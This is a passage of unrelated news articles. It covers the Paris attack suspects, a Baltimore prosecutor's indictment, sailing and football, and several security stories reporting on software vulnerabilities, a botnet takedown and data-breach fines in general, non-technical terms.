Yemen. Kouachi was studying Arabic grammar at the Sanaa Arabic Grammar Institute, al-Kibisi said.Al-Kibsi said he saw Kouachi again in 2012, in the old city of Sanaa at another Arabic language center.CNN does not have official confirmation that Said Kouachi knew AbdulMutallab, a Nigerian national who, authorities said at his U.S. trial, told the FBI that he that he had links to Yemen-based al Qaeda in the Arabian Peninsula. Last month, AQAP released a video apparently showing AbdulMutallab with the group's leader, Nasir al-Wuhayshi.The U.S. official who said Said Kouachi had traveled to Yemen said the man had received a variety of weapons training from al Qaeda in the Arabian Peninsula (AQAP) -- the al Qaeda affiliate in Yemen.French police special forces evacuate local residents in Saint-Mande, near Porte de Vincennes, eastern Paris.It is also possible Said Kouachi was trained in bombmaking, a common jihadist training in Yemen. His ID card after attackHe has never been convicted of a crime and resided in Reims, in northern France, French Interior Minister Bernard Cazeneuve told reporters. His identification card was found in the vehicle abandoned after Wednesday's attack, Cazeneuve said. "It was their only mistake," Dominique Rizet, BFMTV's police and justice consultant, said earlier. Mohammed Benali, who runs the mosque in Gennevilliers, the suburb where Cherif Kouachi's apartment is, said the two brothers used to come to Friday prayers there "not assiduously but regularly."He told Le Figaro that he knew Said Kouachi better, but that he hadn't seen either of the brothers at the mosque in at least two years.Three suspects dead, one soughtNot enough to be investigatedBenali said the older brother was "a very reserved man," but he recalled one angry outburst in the mosque when the imam encouraged the faithful to vote in the presidential election.Said Kouachi "had an angry reaction, he left the prayer room and voiced his disagreement," Benali said. "For these lunatics, when we practice and teach moderate Islam -- actual Islam -- we're nonbelievers."BFMTV reported that like his brother, Said Kouachi was born in Paris and was known to police.The Libération report suggested that at the time of Cherif Kouachi's arrest in 2005, the brothers were staying in Paris with a Frenchman who had converted to Islam.Said Kouachi was taken into custody and questioned during that investigation but was later released, Le Figaro reported. His name also came to the attention of police during the investigation of the 2010 prison break plot, but there wasn't enough evidence to keep investigating him, Le Monde reported.AMEDY COULIBALYBefore he was killed, Amedy Coulibaly purportedly told CNN affiliate BFMTV that he belonged to ISIS, or the Islamic State in Iraq and Syria, the terror group trying to create a fundamentalist religious state across Sunni area in those two countries.Amedy Coulibaly is a suspect in Paris police shooting on Thursday, January 8.CNN has not independently confirmed the authenticity of the French broadcaster's recording with Coulibaly. Coulibaly, 32, was a close associate of Cherif Kouachi, a Western intelligence source told CNN. Coulibaly went by the alias Doly Gringny, the source said.Coulibaly and Cherif Kouachi were involved in the 2010 attempt to free an Algerian serving time for the 1995 subway bombing.Coulibaly was arrested May 18, 2010, with 240 rounds of ammunition for a Kalishnikov, the source said.He had a photo of himself with Djamel Beghal, a French Algerian once known as al Qaeda's premiere European recruiter, who was convicted of conspiring to attack the U.S. Embassy in Paris. The French newspaper Le Monde claims this is a 2010 photo of Amedy Coulibaly and Djamel Beghal. CNN has not independently confirmed its authenticity.Coulibaly was indicted May 22, 2010, in connection with the prison break plot. Cherif Kouachi was under investigation for the same plot, but there was not enough evidence to indict him, the source said.Cherif Kouachi visited Coulibaly during a pre-trial detention. The prison break plot was known as the BELKACEM Project, the source said.Coulibaly shared a residence with Boumeddiene, and they traveled to Malaysia together, the source said.Hayat BoumeddieneThe French newspaper Le Monde posted photos purporting to show Boumeddiene, 26, wearing a niqab in 2010 and holding a weapon that appears to be a crossbow in a rural setting. A niqab is a head-to-toe black covering, except for the eyes.CNN has not independently confirmed the authenticity of the stills.In one of the photos, a woman Le Monde identifies as Boumeddiene is shown in a niqab is posing near cheek-to-cheek with Coulibaly in what the newspaper called a selfie.The French newspaper Le Monde claims this is a 2010 photo of Amedy Coulibaly and Hayat Boumeddiene. CNN has not independently confirmed its authenticity.Coulibaly holds a pistol in a firing pose in one photo.In another, the woman is kneeling and readies to fire the crossbow-like weapon. In that photo, her black niqab allows her face and hands to be exposed, but her face can only been seen in profile.Another photo shows her pointing the weapon at the camera, but her face is obscured by the niqab, with only her eyes exposed.CNN's Barbara Starr, Nick Paton Walsh, Evan Perez, Lonzo Cook and Deborah Feyerick and journalist Hakim Almasmari contributed to this report.
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(CNN)Marilyn Mosby, the chief prosecutor for the city of Baltimore, pleaded not guilty Friday to two counts of perjury and two counts of making false statements on a loan application to purchase two homes, according to her attorney. Federal authorities allege Mosby used a financial hardship withdrawal option from her retirement accounts -- provided under the CARES Act -- claiming that she "experienced adverse financial consequences" due to the pandemic even though she earned a gross salary of $247,955.58 that was "never reduced" in 2020, according to an indictment.Mosby also failed to disclose she owed $45,000 in federal back taxes, according to the indictment. And she allegedly said she would be the primary resident at one of the homes in order to secure a lower rate when she had already entered into an agreement with a rental management firm, the indictment says. She sold one of the homes for a $150,000 profit, the Baltimore Sun reported. Mosby has called the charges a "political ploy" and that she is "unequivocally innocent."Baltimore top prosecutor Marilyn Mosby has been mired in controversy since she took officeDefense attorney A. Scott Bolden called the charges "a political witch hunt" and requested a trial within 60 days, citing Mosby's election in June. The case needs to be tried and decided as soon as possible, he said. Read MoreUS Magistrate Judge James Mazzone deferred the decision to US District Judge Lydia Kay Griggsby, who will be presiding over the case, according to Bolden. Each party must file pretrial motions by February 18.Federal prosecutors have not commented on the case and have said the indictment speaks for itself. Since taking the helm at the city prosecutor's office in 2015, just months before Freddie Gray died from spinal injuries he suffered in the back of a police van, Mosby has called for reform while dealing with one firestorm to the next, it seems.This is her second reelection campaign. Freddie Gray threw Mosby into the spotlightBefore becoming state's attorney, Mosby graduated from Tuskegee University and Boston College Law School. During her studies at the latter, the Boston native worked in her hometown Suffolk County District Attorney's Office and in two US attorneys' offices. After graduation, she prosecuted felonies in the Baltimore State's Attorney's Office from 2006 to 2011 before entering the corporate realm as a civil litigator. In the summer of 2013, she decided to run for the Baltimore state's attorney post. She won and took office in January 2015. On April 12, 2015, Gray was arrested, and video showing the 25-year-old screaming as officers dragged him to a police van sparked questions. Outrage ensued when Gray died a week later. The city was consumed with protests, some of which were hijacked by looters and rioters. Enter Mosby, who was hailed as a hero and inspiration when, less than two weeks after Gray was killed, she charged six Baltimore police officers with misconduct along with assault, manslaughter or murder counts in the young man's death. JUST WATCHEDCharges dropped for remaining cops in Freddie Gray caseReplayMore Videos ...MUST WATCHCharges dropped for remaining cops in Freddie Gray case 01:51While Gray's death served as a rallying point for those decrying police brutality, none of the officers was convicted, despite the city paying Gray's family $6.4 million. Three were tried and acquitted, prompting Mosby to drop charges against the remaining three because of the "dismal likelihood" they'd be convicted. Within weeks, five of the officers sued Mosby, alleging false arrest, defamation and other misdeeds. A federal appeals court ruled Mosby had immunity, and the US Supreme Court declined to hear an appeal, WBAL reported.CNN's Eliott C. McLaughlin and Steve Almasy contributed to this report.
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A German security researcher has publicly disclosed details of a serious vulnerability in one of the most popular FTP server applications, which is currently being used by more than one million servers worldwide.
The vulnerable software in question is ProFTPD, an open source FTP server used by a large number of popular businesses and websites including SourceForge, Samba and Slackware, and comes pre-installed with many Linux and Unix distributions, like Debian.
Discovered by Tobias Mädel, the vulnerability resides in the mod_copy module of the ProFTPD application, a component that allows users to copy files/directories from one place to another on a server without having to transfer the data to the client and back.
According to Mädel, an incorrect access control issue in the mod_copy module could be exploited by an authenticated user to unauthorizedly copy any file on a specific location of the vulnerable FTP server where the user is otherwise not allowed to write a file.
In rare circumstances, the flaw may also lead to remote code execution or information disclosure attacks.
John Simpson, a security researcher at Trend Micro, told The Hacker News that to successfully achieve remote code execution on a targeted server, an attacker needs to copy a malicious PHP file to a location where it can be executed.
Therefore, it's important to note that not every FTP server running vulnerable ProFTPD can be hijacked remotely, since the attacker requires log-in to the respective targeted server, or the server should have anonymous access enabled.
The vulnerability, assigned as CVE-2019-12815, affects all versions of ProFTPd, including the latest 1.3.6 version which was released in 2017.
Since the mod_copy module comes enabled by default in most operating systems using ProFTPD, the flaw could potentially affect a large number of servers.
According to an advisory, the newly discovered issue is related to a 4-year-old similar vulnerability (CVE-2015-3306) in the mod_copy module that allows remote attackers to read and write to arbitrary files via the site CPFR and site CPTO commands.
Mädel reported the vulnerability to ProFTPd project maintainers in September last year, but the team did not take any action to address the issue for more than 9 months.
So, the researcher contacted the Debian Security Team last month, after which the ProFTPD team finally created a patch and just last week backported it to ProFTPD 1.3.6 without releasing a new version of its FTP server.
As a workaround, server administrators can also disable the mod_copy module in the ProFTPd configuration file in order to protect themselves from being a victim of any attack related to this flaw.
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Cybersecurity researchers today disclosed details of a memory vulnerability in IBM's Db2 family of data management products that could potentially allow a local attacker to access sensitive data and even cause a denial of service attacks.
The flaw (CVE-2020-4414), which impacts IBM Db2 V9.7, V10.1, V10.5, V11.1, and V11.5 editions on all platforms, is caused by improper usage shared memory, thereby granting a bad actor to perform unauthorized actions on the system.
By sending a specially crafted request, an attacker could exploit this vulnerability to obtain sensitive information or cause a denial of service, according to Trustwave SpiderLabs security and research team, which discovered the issue.
"Developers forgot to put explicit memory protections around the shared memory used by the Db2 trace facility," SpiderLabs's Martin Rakhmanov said. "This allows any local users read and write access to that memory area. In turn, this allows accessing critically sensitive data as well as the ability to change how the trace subsystem functions, resulting in a denial of service condition in the database."
IBM released a patch on June 30 to remediate the vulnerability.
CVE-2020-4414 is caused by the unsafe usage of shared memory the Db2 trace utility employs to exchange information with the underlying OS on the system.
The Db2 trace utility is used to record Db2 data and events, including reporting Db2 system information, collecting data required for performance analysis and tuning, and capture data access audit trail for security purposes.
Given that the shared memory stores sensitive information, an attacker with access to the system could create a malicious application to overwrite the memory with rogue data dedicated to tracing data.
"This means that an unprivileged local user can abuse this to cause a denial of service condition simply by writing incorrect data over that memory section," Rakhmanov said.
Even more concerning, a low-privileged process running on the same computer as the Db2 database could alter Db2 trace and capture sensitive data and use the information to carry out other attacks.
If the flaw sounds familiar, that's because it's the same type of memory leakage vulnerability that impacted Cisco's WebEx video conferencing service (CVE-2020-3347) that could local authenticated attackers to get hold of usernames, authentication tokens, and meeting information.
It's recommended that Db2 users update their software to the latest version to mitigate the risk.
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Story highlightsSarah Ayton one of only two females taking part in Extreme Sailing Series event Briton part of The Wave, Muscat team who are current race leadersTwo legs left of eight-stage race left to race with Turkey up next in October (CNN)For two Olympic campaigns, Sarah Ayton was part of a crew labeled "Three Blondes in a Boat."Sailing alongside the likes of Shirley Robertson -- now CNN's Main Sail presenter -- among others, Ayton won gold in 2004 and 2008 in the Yngling class -- and even now, seven years on, the tag created by the British media still resonates.Follow @cnnsport
"When I'm in a room delivering a talk people will say, 'Who are you?' I reply, 'You may remember me as one of the three blondes in a boat,' and they're like, 'Of course you are,'" Ayton says."But it's all good. It was fun, and in sailing we need those sorts of role models and people to talk about."Inspiring the next generation @Sarahayton with her gifts after meeting the youth sailors at Chat with Champions #exss pic.twitter.com/ATPTt0mL0t— Extreme Sailing (@extremesailing) May 6, 2015
Ayton is so much more than simply a blonde in a boat.Read MoreRight now, she's one of only two females in the entire fleet of the Extreme Sailing Series, a multihull racing championship likened to Formula One by her fellow British Olympic champion Ben Ainslie.But she barely thinks about her gender when operating as tactician on The Wave, Muscat, which leads the series after five of the eight regattas.JUST WATCHEDExtreme sailors arrive in SydneyReplayMore Videos ...MUST WATCHExtreme sailors arrive in Sydney 06:43"It doesn't matter if I'm male or female on board," Ayton says. "We all have our roles in the boat. Everyone is respected and supposed to be the best in that role. "If you're not sailing your best, you won't win."And the boys will give me a hard time. If I'm not on my game and not feeding information, I know about it. There is no messing around. I know what's expected of me."I've learned a lot from sailing with the boys. It's very honest and upfront. There's no place to hide, which I really love. We all want to win, so the pressure's on all the time."That is not to say the boat's skipper Leigh McMillan and the rest of his crew are devoid of chivalry."The guys sometimes carry my bag!" reveals Ayton."But being the only female in the year, I don't really think anything of it. You just crack on and be the best you can be at what you do."My boys are so excited about coming to Cardiff to cheer on @OmanSail at @extremesailing pic.twitter.com/p3eKsNP2jd— Sarah Ayton OBE (@Sarahayton) June 17, 2015
Ayton says many of her female racing colleagues -- fewer in their number than their male counterparts -- are either focusing on Olympic campaigns for Rio de Janeiro next year or competing in the Volvo Ocean Race with the all-women Team SCA.Being a mother of two, the series -- which has visited Singapore, Oman, China, Wales, Germany and Russia and next goes to Turkey then finally Australia -- has brought complications for Ayton that the men might not necessarily experience.JUST WATCHEDSailing billionaire's quest to break recordsReplayMore Videos ...MUST WATCHSailing billionaire's quest to break records 04:38The fourth round in Cardiff, where The Wave moved a point ahead after coming out on top in the 32 grueling races held over four days, was the first time Ayton's young sons Thomas and Oscar had seen her race."I was a bit nervous as I'm normally very controlled in the series and know my sport rather than being dictated to by two little boys here," she says."Thomas says, 'Mummy's quite a good sailor,'" she adds, smiling with faux offense."But I'm lucky in that my mother and father are just brilliant -- they move into my house and they run the show while I'm away."With all the technology and Skype, we can talk. I'm lucky I can have that. The hard bit is actually being at home being full-time mum and getting to the gym to stay in shape."My new training partner! pic.twitter.com/rI9gJAduxG— Sarah Ayton OBE (@Sarahayton) June 29, 2015
That task has been made easier by turning the garden shed into a makeshift gym so workouts can begin when her boys are settled in bed for the night."It's nice to have time away from home and think about them and their happiness, and can I do a better job?" Ayton reflects."I miss them but I'm grateful to have an opportunity to do this and then go home and be a mum again."Parenthood meant Ayton was unable to pursue an Olympic treble at London 2012, instead playing the role of support act from the shore to her then husband Nick Dempsey, a windsurfer who won silver that year.JUST WATCHEDDrama as extreme sailing race draws to a closeReplayMore Videos ...MUST WATCHDrama as extreme sailing race draws to a close 11:13JUST WATCHEDSailing on boats of the futureReplayMore Videos ...MUST WATCHSailing on boats of the future 07:07They have since separated, and the absence of 2012 on Ayton's CV remains a driving factor for another possible Olympic campaign."In hindsight I think that was tough," she says of missing the Games. "I don't regret it at all but think I could have been there."It's an opportunity missed, but I have the two boys and I can go for 2020. I can use those feelings around 2012 -- I'm still fit enough, still strong enough, I've still got it."Ayton says her Olympic golds are among the happiest memories of her career but, aged 35, she believes she still has plenty of time left in the sport.Targets include being a female lead in the growing moth foiling race scene and some sort of involvement in the America's Cup, a series she argues is not really open to women competitors."For the America's Cup you need to be 80 kg and be absolutely stacked, and a female doesn't fit into that category," says Ayton, who recently found herself taking photos of the Ben Ainslie Racing base in Portsmouth as a fan."But watching the America's Cup on TV as a child was like the Olympics -- I was thinking, 'I want to be there.'"So the aim is to maybe get involved in a Cup program somehow, 2020 (Tokyo Olympics) and the whole foiling movement."Ayton is adamant her hunger to compete has not diminished since becoming a mother."Maybe two years ago I would have questioned that -- have I lost something? -- but lack of sleep, being tired etc. has helped me learn a new set of skills," she says."I feel like I've done my apprenticeship at parenthood and feel like the old Sarah is back."Read: Ex-McLaren boss plots America's Cup winWho will win the America's Cup? Tell us on CNN Sport's Facebook page
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Do you own an account on one of the two hugely popular PlayStation and Xbox gaming forums?
Your details may have been exposed, as it has been revealed that the two popular video gaming forums, "XBOX360 ISO" and "PSP ISO," has been hacked, exposing email addresses, account passwords and IP addresses of 2.5 Million gamers globally.
The attackers hacked and breached both "XBOX360 ISO" and "PSP ISO" forums in September 2015, but the details of this massive hack just emerge, reports The Sun.
Mostly gamers who look for free versions of popular games are members of these two gaming forums, which provide download links for gaming ISO files – digital copies of online video games lifted from physical game disks – to the owners of Microsoft's Xbox 360 and Sony's Playstation Portable.
Visiting such forum websites and downloading games through the provided links often involve an illegal breach of copyright.
So, if you are one of those gamers using both forum or one of these forums, you are being advised to review your account and change the password for all of your accounts immediately.
Although the hackers behind the attacks are still unknown, it is believed that they dumped the stolen data once they've made enough money by selling the leaked information within private dark web trading sites.
Here's What Gamers Can Do:
Like I always advise, change your passwords for your forum accounts as well as other online accounts immediately, especially if you use the same password for multiple websites.
The reason behind the data breach took so long to emerged is 'Password Reuse.' Your habit of reusing your same email/password combination across multiple services gives hackers opportunity to use the same credentials gathered from one breach to break into your other accounts.
So stop reusing passwords across multiple sites. If it's difficult for you to remember and create complex passwords for different services, you can make use of a good password manager.
We have listed some best password managers that could help you understand the importance of password manager and choose one according to your requirement.
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A Palestinian Web Developer and Hacker, 'Khalil Shreateh' found an interesting vulnerability in Facebook, that allows hacker to bypass the Privacy settings to make a post on anyone's Timeline / Wall.
He was forced to post vulnerability details on Mark Zuckerberg (Facebook Founder) Timeline to prove his point, after the Facebook Security Team failed to recognize his critical vulnerability three times. The flaw even working for those victims, who is not included in the attacker friend list.
According to Facebook's Bug Bounty program, a researcher has to submit the flaw details via email to Facebook Security Team without disclosing the details in Public. In order to get the minimum reward of US$500, the flaw should be valid.
The reported vulnerability is in "composer.php" file on Facebook mechanism. First Khalil made a post on the timeline of a girl, "Sarah Gooden" who studied at the same college as Facebook CEO Mark Zuckerberg.
But Facebook Security Team was not able to reproduce the bug at first time and they replied,"Sorry, this is not a bug,". At last he explained his disappointing experience with the security team and flaw details on Zuck's wall to prove his report and just after that he received a response from a Facebook engineer requesting all the details about the vulnerability.
After receiving the third bug report, a Facebook security engineer finally admitted the vulnerability but said that Khalil won't be paid for reporting it because his actions violated the website's security terms of service.
Stay tuned to 'The Hacker News' Facebook Page for the Technical detail about the exploit.
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Cybersecurity researchers have discovered a new critical vulnerability (CVE-2020-7247) in the OpenSMTPD email server that could allow remote attackers to take complete control over BSD and many Linux based servers.
OpenSMTPD is an open-source implementation of the server-side SMTP protocol that was initially developed as part of the OpenBSD project but now comes pre-installed on many UNIX-based systems.
According to Qualys Research Labs, who discovered this vulnerability, the issue resides in the OpenSMTPD's sender address validation function, called smtp_mailaddr(), which can be exploited to execute arbitrary shell commands with elevated root privileges on a vulnerable server just by sending specially crafted SMTP messages to it.
The flaw affects OpenBSD version 6.6 and works against the default configuration for both, the locally enabled interface as well as remotely if the daemon has been enabled to listen on all interfaces and accepts external mail.
"Exploitation of the vulnerability had some limitations in terms of local part length (max 64 characters is allowed) and characters to be escaped ('$', '|')," the researchers said in an advisory.
"Qualys researchers were able to overcome these limitations using a technique from the Morris Worm (one of the first computer worms distributed via the Internet, and the first to gain significant mainstream media attention) by executing the body of the mail as a shell script in Sendmail."
Additionally, the researchers have also released a proof-of-concept exploit code demonstrating the OpenSMTPD vulnerability.
Qualys responsibly reported the flaw to OpenSMTPD developers, who earlier today released OpenSMTPD version 6.6.2p1 with a patch and also pushed an update for OpenBSD users.
Sysadmins running servers with a vulnerable version of the email software are advised to apply the patch as soon as possible.
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The growing threat of cyber-attacks and network hacking has reached the satellite-space sector, posing a growing challenge to the satellite operators. Because the satellite system are the critical components for the Nation to a modern military, they have become an attractive target of cyber attacks.
A security firm uncovered a number of critical vulnerabilities, including hardcoded credentials, undocumented and insecure protocols, and backdoors in the widely used satellite communications (SATCOM) terminals, which are often used by the military, government and industrial sectors.
By exploiting these vulnerabilities an attacker could intercept, manipulate, block communications, and in some circumstances, could remotely take control of the physical devices used in the mission-critical satellite communication (SATCOM).
Once the attacker gained the access of the physical devices used to communicate with satellites orbiting in space, he can completely disrupt military operations and flight-safety communications of mission-critical satellite communications (SATCOM), researchers have warned in a 25-page white paper titled "A Wake-up Call for SATCOM Security," published Thursday by the Security consultancy IOActive.
Thousands of SATCOM devices found to be vulnerable and even if one of the affected devices compromised, the entire SATCOM infrastructure could be at risk, including Ships, aircraft, military personnel, emergency services, media services, and industrial facilities (oil rigs, gas pipelines, water treatment plants, wind turbines, substations, etc.).
IOActive reported various vulnerabilities in Tactical Radios & Networking Terminals, including:
Harris BGAN Terminals
Hughes BGAN M2M Terminals
Cobham BGAN Terminals
Marine VSAT and FB Terminals
Cobham AVIATOR
Cobham GMDSS Terminals
According to the Guardian, British manufacturers Cobham and Inmarsat, as well as Harris Corporation, Hughes and Iridium in the US made such satellite systems that were easily hackable, and any foreign government or agency can track and target the location of units and soldiers.
According to the researchers, Harris RF-7800B terminals that offers a high-performance satellite solution for voice and data connectivity to military is also vulnerable to cyber attacks and successful exploitation could allow an attacker to install malicious firmware or execute arbitrary code.
Reported vulnerabilities also affect the US military aircraft equipped with the Cobham AVIATO, which is designed to meet the satellite communications needs of aircraft and a malicious attacker could disrupt flight communication.
IOActive is currently working with government CERT Coordination Center to alert each manufacturer to the security holes they discovered. "Until patches are available, vendors should provide official workarounds in addition to recommended configurations in order to minimize the risk these vulnerabilities pose." IOActive advised.
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It seems like the world has declared war against the Cyber Criminals. In a recent update, we reported that FBI is offering $3 Million in Reward for the arrest of GameOver Zeus botnet mastermind, and meanwhile British cyber-police has taken down widely-spread RAMNIT botnet.
The National Crime Agency (NCA) in a joint operation with Europol's European Cybercrime Centre (EC3) and law enforcement agencies from Germany, Italy, the Netherlands, and the United Kingdom has taken down the Ramnit "botnet", which has infected over 3.2 million computers worldwide, including 33,000 in the UK.
Alike GameOver Zeus, RAMNIT is also a 'botnet' - a network of zombie computers which operate under criminal control for malicious purposes like spreading viruses, sending out spam containing malicious links, and carrying out distributed denial of service attacks (DDoS) in order to bring down target websites.
RAMNIT believes to spread malware via trustworthy links sent through phishing emails or social networking sites, and mainly target people running Windows operating systems in order to steal money from victims bank accounts. Moreover, public FTP servers have also been found distributing the malware.
Once installed, the infected computer comes under the control of the botnet operators. The module inadvertently downloads a virus onto the victim's computer which could be used by operators to access personal or banking information, steal passwords and disable anti-virus protection.
RAMNIT SHUT-DOWN IN AN OPERATION
In a statement on Tuesday, Europol revealed that the successful take-down of Ramnit botnet involved the help of Microsoft, Symantec and AnubisNetworks. The groups shut down the botnet's command and control infrastructure and redirected traffic from a total of 300 domain addresses used by Ramnit criminal operators.
"This successful operation shows the importance of international law enforcement working together with private industry in the fight against the global threat of cybercrime," said Wil van Gemart, Europol's deputy director of operations. "We will continue our efforts in taking down botnets and disrupting the core infrastructures used by criminals to conduct a variety of cybercrimes."
NASTY FEATURES OF RAMNIT BOTNET
Symantec says that Ramnit has been around for over four years, first originating as a computer worm. According to the anti-virus firm, Ramnit is a "fully-featured cybercrime tool, featuring six standard modules that provide attackers with multiple ways to compromise a victim." The features are:
SPY MODULE - This is one of the most powerful Ramnit features, as it monitors the victim's web browsing and detects when they visit online banking sites. It can also inject itself into the victim's browser and manipulate the bank's website in such a way that it appears legitimate and easily grab victim's credit card details.
COOKIE GRABBER - This steals session cookies from web browsers and send them back to the Ramnit operators, who can then use the cookies to authenticate themselves on websites and impersonate the victim. This could allow an attacker to hijack online banking sessions.
DRIVE SCANNER - This scans the computer's hard drive and steals files from it. The scanner is configured in such a way that it searches for specific folders which contain sensitive information such as victims' passwords.
ANONYMOUS FTP SERVER - By connecting to this server, the malware lets attackers remotely access the infected computers and browse the file system. The server can be used to upload, download, or delete files and execute commands.
VIRTUAL NETWORK COMPUTING (VNC) MODULE - This feature provides the attackers with another means to gain remote access to the compromised computers.
FTP GRABBER - This feature allows the attackers to gather login credentials for a large number of FTP clients.
WHY BOTNET RE-EMERGE AFTER TAKEDOWNS ?
According to the authorities, Ramnit botnet has been taken down, but is it guaranteed that the botnet will not re-emerged again? We have seen the took down of GameOver Zeus botnet by FBI and Europol as well, but what happened at last? Just after a month, GameOver Zeus botnet again came into operation with more nasty features.
So, What went wrong? Why Botnet take downs are ineffective? One reason could be that the organisations grab and take-down only a small fraction of command-and-control domains that build up the Botnet critical infrastructure, but leaves a majority of fraction active. This takes some months for a botnet operator to recover.
As more and more botnet networks are taken down by Law Enforcement, cyber criminals are increasingly using secondary communication methods, such as peer-to-peer or domain generation algorithms (DGA).
One of the main reasons that the Botnet re-emerged is because the author of the malware didn't get arrested. No matter how many domains are taken down or how many sinkholes researchers create, if the attackers are not arrested, nobody can stop them from building new Botnet from zero.
On this we really appreciate the FBI step to reward $3 Million for the information leading to the direct arrest or conviction of Evgeniy Mikhailovich Bogachev, the alleged author of GameOver Zeus botnet that was used by cybercriminals to steal more than $100 Million from online bank accounts.
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(CNN)Footballers at a leading German football team have offered to give up their salaries to help keep the club afloat during the coronavirus pandemic, says Borussia Monchengladbach's sporting director.The move comes with teams in divisions across Europe facing uncertain futures, with a big economic hit expected from the decision to suspend leagues during the outbreak."The team has offered to forgo salary if it can help the club and its employees," Monchengladbach's Max Eberl said in an interview on the team's website."I am very proud of the boys. It's a clear signal that we stand together for Borussia, in good times and in bad," he added. "They want to give something back to the club and therefore also to all the fans who support us. The coaching staff have followed suit, as have our directors and CEOs."Borussia Monchengladbach celebrate after a game played behind closed doors due to the coronavirus pandemic. The league has since been suspended altogether.Read MoreThe team currently sit fourth in the Bundesliga, but the entire league has been suspended until at least April, in line with official advice across Europe to ban mass gatherings and sporting fixtures.The coronavirus outbreak has left clubs of all sizes financially vulnerable."We expect loss of revenue due to game cancellations, lack of ticket sales, possible lost TV revenue and lack of sponsorship money," said Borussia Monchengladbach's managing director Stephan Schippers.Olympics are 'cursed,' says Japan's deputy prime minister Finishing the current season, and therefore playing matches in the near future without fans in attendance, may be the only way teams can survive, added Schippers."In order to avoid a huge financial hit, the efforts of the league and all clubs are currently aimed at ending the current season in order to secure TV revenue and sponsorship money," he said."We all agree: Bundesliga football without fans is not what we want, but for the next few weeks and months we have to realise that only a continuation of the Bundesliga games -- without spectators -- will allow many clubs to survive economically."The Bundesliga's suspension will last until at least April 2, but other major sporting leagues, including England's Premier League, have extended their suspensions this week until the end of April.The Champions League, Europa League and Euro 2020 have also all been postponed due to the outbreak, which has hit a number of European countries particularly hard.In Germany, more than 7,000 cases of Covid-19 have been confirmed
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Next time when someone sends you a photo of a cute cat or a hot chick on WhatsApp or Telegram then be careful before you click on the image to view — it might hack your account within seconds.
A new security vulnerability has recently been patched by two popular end-to-end encrypted messaging services — WhatsApp and Telegram — that could have allowed hackers to completely take over user account just by having a user simply click on a picture.
The hack only affected the browser-based versions of WhatsApp and Telegram, so users relying on the mobile apps are not vulnerable to the attack.
According to Checkpoint security researchers, the vulnerability resided in the way both messaging services process images and multimedia files without verifying that they might have hidden malicious code inside.
For exploiting the flaw, all an attacker needed to do was sending the malicious code hidden within an innocent-looking image. Once the victim clicked on the picture, the attacker could have gained full access to the victim's WhatsApp or Telegram storage data.
This eventually allowed attackers to take full access to the user's account on any browser, view and manipulate chat sessions, access victim's personal and group chats, photos, videos, audios, other shared files and contact lists as well.
Millions of WhatsApp and Telegram accounts could have been hacked using just a PHOTO!
CLICK TO TWEET
To make this attack widespread, the attacker can then send the malware-laden image to everyone on the victim's contact list, which could, eventually, mean that one hijacked account could be led to countless compromises by leapfrogging accounts.
Video Demonstration
The researchers also provided a video demonstration, given below which shows the attack in action.
Here's Why This Vulnerability Went Undetected:
Both WhatsApp and Telegram use end-to-end encryption for its messages to ensure that nobody, except the sender and the receiver, can read the messages in between.
However, this same end-to-end encryption security measure was also the source of this vulnerability.
Since the messages were encrypted on the side of the sender, WhatsApp and Telegram had no idea or a way of knowing, that malicious code was being sent to the receiver, and thus were unable to prevent the content from being running.
"Since messages were encrypted without being validated first, WhatsApp and Telegram were blind to the content, thus making them unable to prevent malicious content from being sent," the researchers writes in a blog post.
WhatsApp fixed the flaw within 24 hours on Thursday, March 8, while Telegram patched the issue on Monday.
Since the fixes have been applied on the server end, users don't have to update any app to protect themselves from the attack; instead, they just need a browser restart.
"It's a big vulnerability in a significant service," said Oded Vanunu, head of product vulnerability research at Check Point. "Thankfully, WhatsApp and Telegram responded quickly and responsibly to deploy the mitigation against exploitation of this issue in all web clients."
WhatsApp did not notice any abuse of the vulnerability, while Telegram claimed the flaw was less severe than WhatsApp, as it required the victim to right click on the image content and then open it in a new window or tab for the malicious code to run and exploit its users.
After fixing this flaw, content on the web versions of both WhatsApp and Telegram will now be validated before the end-to-end encryption comes into play, allowing malicious files to be blocked.
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Britain's Information Commissioner's Office (ICO) today hit British Airways with a record fine of £183 million for failing to protect the personal information of around half a million of its customers during last year's security breach.
British Airways, who describes itself as "The World's Favorite Airline," disclosed a breach last year that exposed personal details and credit-card numbers of up to 380,000 customers and lasted for more than two weeks.
At the time, the company confirmed that customers who booked flights on its official website (ba.com) and British Airways mobile app between August 21 and September 5 had had their details stolen by attackers.
The cyberattack was later attributed to the infamous Magecart threat actor, one of the most notorious hacking groups specialized in stealing credit card details from poorly-secured websites, especially online eCommerce platforms.
Magecart hackers have been known for using digital credit card skimmer wherein they secretly insert a few lines of malicious code into the checkout page of a compromised website that captures payment details of customers and then sends it to a remote server.
Besides British Airways, Magecart groups have also been responsible for card breaches on sites belonging to high-profile companies like TicketMaster, Newegg, as well as sites belonging to other small online merchants.
In a statement released today, ICO said its extensive investigation found that a variety of information related to British Airways' customers was compromised by "poor security arrangements" at the company, including their names and addresses, log-ins, payment card data, and travel booking details.
"People's personal data is just that – personal. When an organization fails to protect it from loss, damage or theft, it is more than an inconvenience," Information Commissioner Elizabeth Denham said.
"That's why the law is clear – when you are entrusted with personal data, you must look after it. Those that don't will face scrutiny from my office to check they have taken appropriate steps to protect fundamental privacy rights."
However, ICO also said that British Airways has cooperated with its investigation and has made improvements to the security arrangements since the last year data breach came to light.
Since the data breach happened after the EU's General Data Protection Regulation (GDPR) took effect on May 2018, the fine of £183.39 million has been imposed on British Airways, which is the equivalent of 1.5% of the company's worldwide turnover for its 2017 financial year but is still less than the possible maximum of 4%.
In response to the ICO announcement, British Airways, owned by IAG, said the company was "surprised and disappointed" by the ICO penalty.
"British Airways responded quickly to a criminal act to steal customers' data," said British Airways chairman and chief executive Alex Cruz.
"We have found no evidence of fraud/fraudulent activity on accounts linked to the theft. We apologize to our customers for any inconvenience this event caused."
The company has 28 days to appeal the penalty.
Until now, the most significant penalty by the UK's data protection watchdog was £500,000, which was imposed on Facebook last year for allowing political consultancy firm Cambridge Analytica to gather and misuse data of 87 million users improperly.
The same penalty of £500,000 was also imposed on credit reporting agency Equifax last year for its 2017's massive data breach that exposed the personal and financial information of hundreds of millions of its customers.
Since both the incidents in Facebook and Equifax occurred before GDPR took effect, £500,000 was the maximum penalty ICO can impose under the UK's old Data Protection Act.
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A Mac malware campaign targeting Xcode developers has been retooled to add support for Apple's new M1 chips and expand its features to steal confidential information from cryptocurrency apps.
